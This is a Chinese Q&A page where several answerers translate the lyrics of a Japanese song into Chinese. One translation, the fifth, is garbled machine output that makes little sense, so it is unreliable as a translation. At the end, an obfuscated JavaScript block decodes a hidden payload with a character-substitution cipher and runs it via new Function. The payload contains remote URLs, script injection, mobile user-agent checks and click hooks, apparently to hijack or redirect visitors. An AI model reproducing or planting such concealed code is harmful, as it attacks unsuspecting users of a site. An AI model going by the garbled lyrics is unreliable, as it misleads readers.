劳驾翻译一首歌词

2025-03-01 12:57:45
推荐回答(5个)
回答1:

知らない言叶を覚えるたびに
每当学会的新的言语
仆らは大人に近くなる
我们就成长向成熟
けれど最后まで覚えられない
即使如此,也有一些言语
言叶もきっとある
至死记不住

何かの足しにもなれずに生きて
没能作出什么阶梯的生存
何にもなれずに消えて行く
什么也不是的消失
仆がいることを喜ぶ人が
我希望因我的存在
どこかにいてほしい
有人会高兴

石よ树よ水よ ささやかな者たちよ
山石, 大树, 河水 ,细小的生命
仆と生きてくれ
请和我一起生存

缲り返す哀しみを照らす 灯をかざせ
找寻驱散反复悲伤的光明
君にも仆にも すべての人にも
你,我,所有的人们
命に付く名前を「心」と呼ぶ
把生命命名为‘心灵’
名もなき君にも 名もなき仆にも
即使无名的你和我

たやすく涙を流せるならば
不要轻易的流泪
たやすく痛みもわかるだろう
也不要轻易的流露悲痛
けれども人には
即使如此人们也有
笑颜のままで泣いてる时もある
带着笑容哭泣的时候

石よ树よ水よ 仆よりも
山石, 大树, 河水,比我更加
谁も伤つけぬ者たちよ
不伤害别人的人们

缲り返すあやまちを照らす 灯をかざせ
找寻驱散反复悲伤的光明
君にも仆にも すべての人にも
你,我,所有的人们
命に付く名前を「心」と呼ぶ
把生命命名为‘心灵’
名もなき君にも 名もなき仆にも

石よ树よ水よ 仆よりも
谁も伤つけぬ者たちよ

くり返すあやまちを照らす 灯をかざせ
找寻驱散反复悲伤的光明
君にも仆にも すべての人にも
即使无名的你和我
命に付く名前を「心」と呼ぶ
把生命命名为‘心灵’
名もなき君にも 名もなき仆にも
即使无名的你和我

命に付く名前を「心」と呼ぶ
把生命命名为‘心灵’
名もなき君にも 名もなき仆にも
即使无名的你和我

80分你们就这么懒啊,我就编辑了一下给楼主.楼主看看.

回答2:

知らない言叶を覚えるたびに
每每懂得了一句不曾了解的话语
仆らは大人に近くなる
我们就离长大成人更近一步
けれど最后まで覚えられない言叶もきっとある
但是,一定也会有一些最后也不能懂得的话语
何かの足しにもなれずに生きて
什么痕迹也不会留下地活着
何にもなれずに消えて行く
什么都没做成就消逝而去
仆がいることを喜ぶ人がどこかにいてほしい
我真的希望在某处会有因我存在而喜悦之人
石よ树よ水よ ささやかな者たちよ
石头,树木,水:所有微小的存在啊
仆と生きてくれ
请和我一起成长吧
缲り返す哀しみを照らす灯をかざせ
快去用那照退驱而复返的悲哀之灯照盖吧
君にも仆にも すべての人にも
为了你为了我,为了所有的人们
命に付く名前を「心」と呼ぶ
生命的名字用“心”相称
名もなき君にも 名もなき仆にも
无名的你也如此,无名的我也如此
たやすく涙を流せるならば
如果能够轻易得流下泪水
たやすく痛みもわかるだろう
大概也能轻易明白伤痛吧
けれども人には笑颜のままで泣いてる时もある
但是,对于人来说,也有喜极而泣的时候啊
石よ树よ水よ 仆よりも
石头,树木,水,与我相比
谁も伤つけぬ者たちよ
更是谁都不会伤害的存在啊
缲り返すあやまちを照らす 灯をかざせ
快去用那照退驱而复返的失误之灯照盖吧
君にも仆にも すべての人にも
照亮你,照亮我,照亮所有的人
命に付く名前を「心」と呼ぶ
生命的名字以心相称
名もなき君にも 名もなき仆にも
无名的你也如此,无名的我也如此
(后面都是重复前面的话)

回答3:

知らない言叶を覚えるたびに
每当记住不知道的话语
仆らは大人に近くなる
我们就越像大人
けれど最后まで覚えられない
但是直到最后也记不住的
言叶もきっとある
话语一定有
何かの足しにもなれずに生きて
没有价值的活着
何にもなれずに消えて行く
什么成就都没有就消失掉
仆がいることを喜ぶ人が
为我的存在而高兴的人
どこかにいてほしい
真希望会出现在某处
石よ树よ水よ ささやかな者たちよ
石头,树木,水啊,大自然的万物啊
仆と生きてくれ
和我一起生长吧
缲り返す哀しみを照らす 灯をかざせ
照亮无尽的悲哀,点上灯
君にも仆にも すべての人にも
为了你为了我,为了所有的人们
命に付く名前を「心」と呼ぶ
生命的名字叫做心
名もなき君にも 名もなき仆にも
为了无名的你,无名的我
たやすく涙を流せるならば
如果能轻易得流下泪水
たやすく痛みもわかるだろう
也会比较容易明白那伤痛吧
けれども人には
可是,人
笑颜のままで泣いてる时もある
带着微笑哭泣的时候也会有
石よ树よ水よ 仆よりも
石头,树木,谁啊,比我更
谁も伤つけぬ者たちよ
不会伤害任何人的东西啊
缲り返すあやまちを照らす 灯をかざせ
照亮屡屡犯下的错误,点上灯
君にも仆にも すべての人にも
为了你为了我,为了所有的人们
命に付く名前を「心」と呼ぶ
生命的名字叫做心
名もなき君にも 名もなき仆にも
为了无名的你,无名的我
(后面都是重复前面的话)
石よ树よ水よ 仆よりも
谁も伤つけぬ者たちよ
くり返すあやまちを照らす 灯をかざせ
君にも仆にも すべての人にも
命に付く名前を「心」と呼ぶ
名もなき君にも 名もなき仆にも
命に付く名前を「心」と呼ぶ
名もなき君にも 名もなき仆にも

回答4:

每当我们记忆不懂的语言时,
就向长大靠近一步。
可是,到最后一定会有记不住的语言。

无需任何人的帮助,一个人生活,
无需有任何结果,自然消逝。
我希望为我在而欢喜的人能够在某处。

石块、小树、流水等等一些细小的东西啊,
和我一起成长。
举起照亮我时时悲伤的灯火,
无论你我,所有人所赋予生命的名字那是心灵。
没有名字的你我都是如此。

如果能让你轻易把泪流,
你也会很容易懂得伤痛吧。
可是,人也有强抱欢颜的时候。

石块、小树、流水比起我来,不致伤害他人的一切。
举起照亮我时时内疚的灯火,
无论你我,所有人所赋予生命的名字那是心灵。
没有名字的你我都是如此。

石块、小树、流水比起我来,不致伤害他人的一切。
举起照亮我时时内疚的灯火,
无论你我,所有人所赋予生命的名字那是心灵。
没有名字的你我都是如此。

赋予生命的名字那是心灵。
没有名字的你我都是如此。
(完)

是一首很伤感的歌曲。

回答5:

每次记住不知道的言语
我们变得靠近大人
不过一定也有到最后
不能记的言语

对对什么补助也不热熟活
什么也不习惯消失的
我在的事感到高兴
的人希望在哪里

石头啊树啊水啊 微薄的人们
我活

能举起照重复的悲哀的 明灯你和
我和 全部的人都叫来生命
附有的名字「心」的名和
没有的你和 名和没有的我都

也就有能容易地如果流
(放)眼泪容易地也明白
疼痛,不过为
人笑容的那样懊悔的时候

比石头yo树yo水yo 我
谁都不伤害的人们都哟

能举起照射重复的Aya城市的 明灯你
和我和 全部的人都叫来生
命附有的名字「心」的名和
没有的你和 名和没有的我都

比石头yo树yo水yo 我
谁都不伤害的人们都哟

能举起照射重复的Aya城市的 明灯你
和我和 全部的人都叫来生
命附有的名字「心」的名和
没有的你和 名和没有的我都

称呼生命附有的名字为「心」
的名和没有的你和 名和没有的我都

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();